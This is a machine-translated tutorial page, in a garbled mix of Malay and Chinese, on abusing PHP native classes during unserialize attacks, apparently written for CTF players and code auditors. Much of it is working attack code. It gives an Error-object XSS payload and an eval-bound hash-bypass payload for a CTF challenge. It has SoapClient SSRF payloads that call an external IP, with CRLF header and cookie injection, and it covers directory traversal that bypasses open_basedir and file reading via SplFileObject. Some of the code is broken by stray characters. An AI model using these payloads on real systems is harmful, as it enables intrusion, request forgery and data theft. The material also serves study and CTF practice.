


Pemahaman mendalam tentang kelas asli yang menyahsiri PHP
May 17, 2022 am 11:56 AMArtikel ini membawakan anda pengetahuan yang berkaitan tentang PHP, yang terutamanya memperkenalkan penggunaan kelas asli yang dinyahsiri Jika terdapat fungsi penyahserikatan dalam audit kod atau titik ctf, tetapi ia tidak dapat membina rantai pop yang lengkap. jadi bagaimana kita harus memecahkan keadaan pada masa ini? Mari kita lihat, saya harap ia akan membantu semua orang.
Kajian yang disyorkan: "Tutorial Video PHP"
Analisis ringkas tentang penggunaan kelas asli penyahserialisasian PHP
Jika terdapat fungsi penyahserialisasian dalam audit kod atau ctf, tetapi rantai pop yang lengkap tidak dapat dibina, bagaimanakah kita harus memecahkan keadaan? Kita boleh cuba bermula dengan kelas asli PHP Sesetengah kelas asli PHP mempunyai beberapa kaedah ajaib terbina dalam Jika kita bijak membina parameter yang boleh dikawal, mencetuskan dan menggunakan kaedah sihir terbina dalam mereka, adalah mungkin untuk mencapai beberapa matlamat yang kita inginkan. .
1. Kaedah sihir biasa
__wakeup()?//執(zhí)行unserialize()時,先會調(diào)用這個函數(shù) __sleep()?//執(zhí)行serialize()時,先會調(diào)用這個函數(shù) __destruct()?//對象被銷毀時觸發(fā) __call()?//在對象上下文中調(diào)用不可訪問的方法時觸發(fā) __callStatic()?//在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā) __get()?//用于從不可訪問的屬性讀取數(shù)據(jù)或者不存在這個鍵都會調(diào)用此方法 __set()?//用于將數(shù)據(jù)寫入不可訪問的屬性 __isset()?//在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā) __unset()?//在不可訪問的屬性上使用unset()時觸發(fā) __toString()?//把對象當(dāng)作字符串使用時觸發(fā) __invoke()?//當(dāng)嘗試將對象調(diào)用為函數(shù)時觸發(fā)
2 Pergi melalui kaedah ajaib dalam semua kelas asli
3. Penggunaan beberapa kelas asli biasa<?php $classes = get_declared_classes();foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } }}
Ralat/Pengecualian
Ralat
ialah kelas asas untuk semua kelas ralat dalaman PHP. (PHP 7, 8)**Ralat::__toString ** Ungkapan rentetan ralat
Mengembalikan ungkapan rentetan Ralat.Pengecualian
ialah kelas asas untuk semua pengecualian peringkat pengguna. (PHP 5, 7, 8)**Exception::__toString ** Tukar objek pengecualian kepada rentetan
Mengembalikan pengecualian yang ditukar kepada jenis rentetan.Atribut kelas
kandungan mesej ralat mesej
- kod ralat kod
- fail membuang nama fail yang salah
- baris membuang nombor baris yang salah
- XSS
Kaedah __toString akan mengembalikan bentuk rentetan ralat atau pengecualian, yang mengandungi parameter yang kami masukkan Jika kami membina rentetan kod xss dan menggabungkannya dengan pemaparan gema, kerentanan xss yang dicerminkan akan dicetuskanContoh:
POC:<?php $a = unserialize($_GET['a']);echo $a;
<?php $a = new Error("<script>alert('xss')");$b?=?serialize($a);echo?urlencode($b);
pintasan cincang
Lihat satu dahulu Soalan
[2020 Geek Challenge] Greatphpperlu memintas dua perbandingan kuat cincang, dan akhirnya perlu membina kod eval untuk melaksanakan
Jelas sekali kaedah biasa tidak akan berfungsi, dan ia boleh dipintas melalui kelas asli<?phperror_reporting (0);class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc?!=?$this->lover)?&&?(md5($this->syc)?===?md5($this->lover))?&&?(sha1($this->syc)===?sha1($this->lover))?){ ???????????if(!preg_match("/\syc,?$match)){ ???????????????eval($this->syc); ???????????}?else?{ ???????????????die("Try?Hard?!!"); ???????????} ????????} ????}}if?(isset($_GET['great'])){ ????unserialize($_GET['great']);}?else?{ ????highlight_file(__FILE__);}
Begitu juga, apabila fungsi md5() dan sha1() memproses objek, kaedah __tostring akan dipanggil secara automatik
Mari kita lihat secara ringkas output
<?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3); $d=new Exception("payload",4); echo $a."<br>"; echo?$b."<br>"; echo?$c."<br>"; echo?$d;Kita dapati maklumat yang dikembalikan oleh kedua-dua kelas asli ini adalah sama kecuali nombor baris. Mengambil kesempatan daripada ini, kita boleh cuba cincang Untuk memintas fungsi, perlu diperhatikan bahawa kedua-dua objek masuk mesti diletakkan pada baris yang sama
Oleh itu, kita boleh menjalankan ujian mudah dan mendapati bahawa menggunakan ini kaedah boleh memintas perbandingan fungsi hash (lemah)
<?php $a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){ echo '$a不等于$b'."\n";}if (md5($a)===md5($b)){ echo "md5值相等\n";}if (sha1($a)===sha1($b)){ echo "sha1值相等";}Berdasarkan mata pengetahuan ini, kami boleh membina muatan dengan mudah
??<?phpclass SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc?!=?$this->lover)?&&?(md5($this->syc)?===?md5($this->lover))?&&?(sha1($this->syc)===?sha1($this->lover))?){ ???if(!preg_match("/\syc,?$match)){ ???eval($this->syc); ???}?else?{ ???die("Try?Hard?!!"); ???} ??? } }}$str?=?"?>=include~".urldecode("%D0%99%93%9E%98")."?>";//兩次取反繞過正則$a=new?Error($str,1); $b=new?Error($str,2); $c?=?new?SYCLOVER();$c->syc?=?$a;$c->lover?=?$b; echo(urlencode(serialize($c)));?>SoapClient
Ia adalah kelas yang digunakan khas untuk mengakses perkhidmatan web Ia boleh menyediakan klien PHP yang mengakses perkhidmatan web berdasarkan protokol SOAP Ia boleh membuat mesej data sabun dan berinteraksi dengan Antara muka wsdl
Modul sambungan sabun dimatikan secara lalai Anda perlu mendayakannya secara manual apabila menggunakannya
SoapClient::__call—Panggil fungsi SOAP (PHP. 5, 7, 8)
Biasanya, fungsi SOAP boleh dipanggil sebagai kaedah objek SoapClient
SSRFPembina:
Apakah itu sabunpublic?SoapClient?::?SoapClient(mixed?$wsdl?[,array?$options?]) 第一個參數(shù)是用來指明是否是wsdl模式,如果為`null`,那就是非wsdl模式。 第二個參數(shù)為一個數(shù)組,如果在wsdl模式下,此參數(shù)可選;如果在非wsdl模式下,則必須設(shè)置location和uri選項,其中l(wèi)ocation是要將請求發(fā)送到的SOAP服務(wù)器的URL,而uri?是SOAP服務(wù)的目標(biāo)命名空間。Kami membina muatan eksploitasi, parameter Bab Satu ialah NULL dan lokasi parameter kedua ditetapkan kepada alamat vps
SOAP?是基于?XML?的簡易協(xié)議,是用在分散或分布的環(huán)境中交換信息的簡單的協(xié)議,可使應(yīng)用程序在?HTTP?之上進行信息交換 SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL?用來描述如何訪問具體的接口,?UDDI用來管理,分發(fā),查詢webService?,SOAP(簡單對象訪問協(xié)議)是連接或Web服務(wù)或客戶端和Web服務(wù)之間的接口。 其采用HTTP作為底層通訊協(xié)議,XML作為數(shù)據(jù)傳送的格式。untuk mendengar port 2333 vps Seperti yang ditunjukkan dalam rajah di bawah, SSRF berjaya dicetuskan, dan vps menerima maklumat permintaan Dan anda boleh melihat bahawa SOAPAction dan user_agent boleh dikawal <.>
<?php $a = new SoapClient(null, array( 'location' =>?'http://47.102.146.95:2333',? 'uri'?=>'uri', 'user_agent'=>'111111')); $b?=?serialize($a); echo?$b; $c?=?unserialize($b); $c->a();
Semasa ujian tempatan, didapati bahawa apabila menggunakan kelas terbina dalam ini (iaitu protokol sabun) untuk meminta port di mana perkhidmatan wujud, ralat akan dilaporkan serta-merta , dan apabila mengakses port yang tidak mempunyai perkhidmatan (tidak diduduki), ia akan menunggu untuk tempoh masa dan melaporkan ralat, yang boleh digunakan untuk mengesan aset intranet.
Jika anda bekerjasama dengan kerentanan CRLF, anda juga boleh menggunakan SoapClient untuk mengawal parameter lain atau menghantar data melalui pos. Contohnya: protokol HTTP untuk menyerang Redis
Dengan menggabungkan CRLF, kami boleh menggunakan SoapClient CRLF untuk melakukan lebih banyak perkara, seperti memasukkan kuki tersuai,
HTTP報文的結(jié)構(gòu):狀態(tài)行和首部中的每行以CRLF結(jié)束,首部與主體之間由一空行分隔。 CRLF注入漏洞,是因為Web應(yīng)用沒有對用戶輸入做嚴(yán)格驗證,導(dǎo)致攻擊者可以輸入一些惡意字符。 攻擊者一旦向請求行或首部中的字段注入惡意的CRLF(\r\n),就能注入一些首部字段或報文主體,并在響應(yīng)中輸出。
發(fā)送POST的數(shù)據(jù)包,這里需要將Content-Type設(shè)置為application/x-www-form-urlencoded,我們可以通過添加兩個\r\n來將原來的Content-Type擠下去,自定義一個新的Content-Type
<?php $a = new SoapClient(null, array( 'location' =>?'http://47.102.146.95:2333', ????'uri'?=>'uri', ????'user_agent'=>"111111\r\nContent-Type:?application/x-www-form-urlencoded\r\nX-Forwarded-For:?127.0.0.1\r\nCookie:?PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length:?10\r\n\r\npostdata")); ????$b?=?serialize($a);echo?$b;$c?=?unserialize($b);$c->a();
看一道ctfshow上的題,完美利用上述知識點
$xff?=?explode(',',?$_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip?=?array_pop($xff);?//獲取xff頭 if($ip!=='127.0.0.1'){ ????die('error'); }else{ ????$token?=?$_POST['token']; ????if($token=='ctfshow'){ ????????file_put_contents('flag.txt',$flag); ????} }
poc:
<?php $target = 'http://127.0.0.1/flag.php'; $post_string = 'token=ctfshow'; $b = new SoapClient(null,array('location' =>?$target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type:?application/x-www-form-urlencoded'.'^^Content-Length:?'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>?"ssrf")); $a?=?serialize($b); $a?=?str_replace('^^',"\r\n",$a); echo?urlencode($a); ?>
DirectoryIterator/FilesystemIterator
DirectoryIterator類提供了一個簡單的接口來查看文件系統(tǒng)目錄的內(nèi)容。
DirectoryIterator::__toString 獲取字符串形式的文件名 (PHP 5,7,8)
目錄遍歷
使用此內(nèi)置類的__toString方法結(jié)合glob或file協(xié)議,即可實現(xiàn)目錄遍歷
例如:
<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
FilesystemIterator繼承于DirectoryIterator,兩者作用和用法基本相同,區(qū)別為FilesystemIterator會顯示文件的完整路徑,而DirectoryIterator只顯示文件名
因為可以配合使用glob偽協(xié)議(查找匹配的文件路徑模式),所以可以繞過open_basedir的限制
在php4.3以后使用了zend_class_unserialize_deny
來禁止一些類的反序列化,很不幸的是這兩個原生類都在禁止名單當(dāng)中
SplFileObject
SplFileObject 類為單個文件的信息提供了一個面向?qū)ο蟮母呒壗涌?/p>
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
文件讀取
SplFileObject::__toString — 以字符串形式返回文件的路徑
<?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){ echo($a); }*/
如果沒有遍歷的話只能讀取第一行,且受到open_basedir
影響
SimpleXMLElement
解析XML 文檔中的元素。 (PHP 5、PHP 7、PHP 8)
SimpleXMLElement::__construct — 創(chuàng)建一個新的 SimpleXMLElement 對象
XXE
我們查看一下其參數(shù):
根據(jù)官方文檔,發(fā)現(xiàn)當(dāng)?shù)谌齻€參數(shù)為True時,即可實現(xiàn)遠程xml文件載入,第二個參數(shù)的常量值設(shè)置為2即可。
利用可參考賽題:[SUCTF 2018]Homework
ReflectionMethod
獲取注釋內(nèi)容
(PHP 5 >= 5.1.0, PHP 7, PHP 8)
ReflectionFunctionAbstract::getDocComment — 獲取注釋內(nèi)容
由該原生類中的getDocComment方法可以訪問到注釋的內(nèi)容
同時可利用的原生類還有ZipArchive– 刪除文件等等,不在敘述
推薦學(xué)習(xí):《PHP視頻教程》
Atas ialah kandungan terperinci Pemahaman mendalam tentang kelas asli yang menyahsiri PHP. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undress AI Tool
Gambar buka pakaian secara percuma

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Clothoff.io
Penyingkiran pakaian AI

Video Face Swap
Tukar muka dalam mana-mana video dengan mudah menggunakan alat tukar muka AI percuma kami!

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Input suara pengguna ditangkap dan dihantar ke backend PHP melalui API Mediarecorder JavaScript front-end; 2. PHP menjimatkan audio sebagai fail sementara dan memanggil STTAPI (seperti Pengiktirafan Suara Google atau Baidu) untuk mengubahnya menjadi teks; 3. PHP menghantar teks kepada perkhidmatan AI (seperti Openaigpt) untuk mendapatkan jawapan pintar; 4. PHP kemudian memanggil TTSAPI (seperti sintesis Baidu atau Google Voice) untuk menukar balasan ke fail suara; 5. PHP mengalir fail suara kembali ke bahagian depan untuk bermain, menyelesaikan interaksi. Seluruh proses dikuasai oleh PHP untuk memastikan hubungan lancar antara semua pautan.

Kaedah teras untuk membina fungsi perkongsian sosial dalam PHP adalah untuk menghasilkan pautan perkongsian secara dinamik yang memenuhi keperluan setiap platform. 1. Mula -mula dapatkan halaman semasa atau URL dan maklumat artikel yang ditentukan; 2. Gunakan urlencode untuk menyandikan parameter; 3. Sambutan dan menjana pautan perkongsian mengikut protokol setiap platform; 4. Pautan paparan di hujung depan untuk pengguna mengklik dan berkongsi; 5. Dinamik menghasilkan tag OG pada halaman untuk mengoptimumkan paparan kandungan perkongsian; 6. Pastikan untuk melepaskan input pengguna untuk mencegah serangan XSS. Kaedah ini tidak memerlukan pengesahan yang kompleks, mempunyai kos penyelenggaraan yang rendah, dan sesuai untuk kebanyakan keperluan perkongsian kandungan.

Untuk merealisasikan pembetulan ralat teks dan pengoptimuman sintaks dengan AI, anda perlu mengikuti langkah -langkah berikut: 1. Pilih model AI atau API yang sesuai, seperti Baidu, Tencent API atau perpustakaan NLP sumber terbuka; 2. Panggil API melalui curl atau Guzzle PHP dan memproses hasil pulangan; 3. Maklumat pembetulan ralat paparan dalam aplikasi dan membenarkan pengguna memilih sama ada untuk mengadopsinya; 4. Gunakan php-l dan php_codesniffer untuk pengesanan sintaks dan pengoptimuman kod; 5. Secara berterusan mengumpul maklum balas dan mengemas kini model atau peraturan untuk meningkatkan kesannya. Apabila memilih AIAPI, fokus pada menilai ketepatan, kelajuan tindak balas, harga dan sokongan untuk PHP. Pengoptimuman kod harus mengikuti spesifikasi PSR, gunakan cache yang munasabah, elakkan pertanyaan bulat, mengkaji semula kod secara berkala, dan gunakan x

1. Memaksimumkan nilai komersil sistem komen memerlukan menggabungkan pengiklanan pengiklanan asli, perkhidmatan nilai tambah pengguna (seperti memuat naik gambar, komen top-up), mempengaruhi mekanisme insentif berdasarkan kualiti komen, dan pematuhan data pengewangan data tanpa nama; 2. Strategi audit harus mengadopsi gabungan penapisan kata kunci dinamik pra-audit dan mekanisme pelaporan pengguna, ditambah dengan penarafan kualiti komen untuk mencapai pendedahan hierarki kandungan; 3. Anti-brushing memerlukan pembinaan pertahanan berbilang lapisan: Recaptchav3 Pengesahan tanpa sensor, Honeypot Honeypot Field Robot, IP dan Had Frekuensi Timestamp menghalang penyiraman, dan pengiktirafan corak kandungan menandakan komen yang mencurigakan, dan terus berurusan dengan serangan.

PHP tidak secara langsung melaksanakan pemprosesan imej AI, tetapi mengintegrasikan melalui API, kerana ia adalah baik pada pembangunan web dan bukannya tugas-tugas intensif pengkomputeran. Integrasi API boleh mencapai pembahagian profesional buruh, mengurangkan kos, dan meningkatkan kecekapan; 2. Mengintegrasikan teknologi utama termasuk menggunakan Guzzle atau Curl untuk menghantar permintaan HTTP, pengekodan data JSON dan penyahkodan, pengesahan keselamatan utama API, pemprosesan giliran yang memakan masa yang memakan masa, pengendalian ralat yang teguh dan mekanisme semula, penyimpanan imej dan paparan; 3. Cabaran umum termasuk kos API daripada kawalan, hasil generasi yang tidak terkawal, pengalaman pengguna yang lemah, risiko keselamatan dan pengurusan data yang sukar. Strategi tindak balas menetapkan kuota dan cache pengguna, menyediakan panduan propt dan pemilihan multi-gambar, pemberitahuan asynchronous dan kemajuan kemajuan, penyimpanan pembolehubah persekitaran utama dan audit kandungan, dan penyimpanan awan.

PHP memastikan pemotongan inventori atomik melalui urus niaga pangkalan data dan kunci baris forupdate untuk mengelakkan overselling serentak yang tinggi; 2. Konsistensi inventori pelbagai platform bergantung kepada pengurusan berpusat dan penyegerakan yang didorong oleh peristiwa, menggabungkan pemberitahuan API/webhook dan beratur mesej untuk memastikan penghantaran data yang boleh dipercayai; 3. Mekanisme penggera harus menetapkan inventori rendah, sifar/inventori negatif, jualan yang tidak dapat dilepaskan, kitaran penambahan dan strategi turun naik yang tidak normal dalam senario yang berbeza, dan pilih DingTalk, SMS atau orang yang bertanggungjawab e -mel mengikut urgensi, dan maklumat penggera mesti lengkap dan jelas untuk mencapai penyesuaian perniagaan dan tindak balas yang cepat.

Phpisstillrelevantinmodernenterpriseenvironments.1.modernphp (7.xand8.x) Menawarkan Perpaduan Perlengkapan, ketegangan, jitcompilation, danmodernsyntax, makeitsuatableforlarge-scaleapplications.2.phpintegratefective

Pilih Perkhidmatan Pengiktirafan Suara AI yang sesuai dan mengintegrasikan PHPSDK; 2. Gunakan PHP untuk memanggil FFMPEG untuk menukar rakaman ke dalam format API yang diperlukan (seperti WAV); 3. Muat naik fail ke penyimpanan awan dan hubungi pengiktirafan tak segerak API; 4. Menganalisis hasil JSON dan menyusun teks menggunakan teknologi NLP; 5. Menjana dokumen Word atau Markdown untuk melengkapkan automasi rekod mesyuarat. Seluruh proses perlu memastikan penyulitan data, kawalan akses dan pematuhan untuk memastikan privasi dan keselamatan.
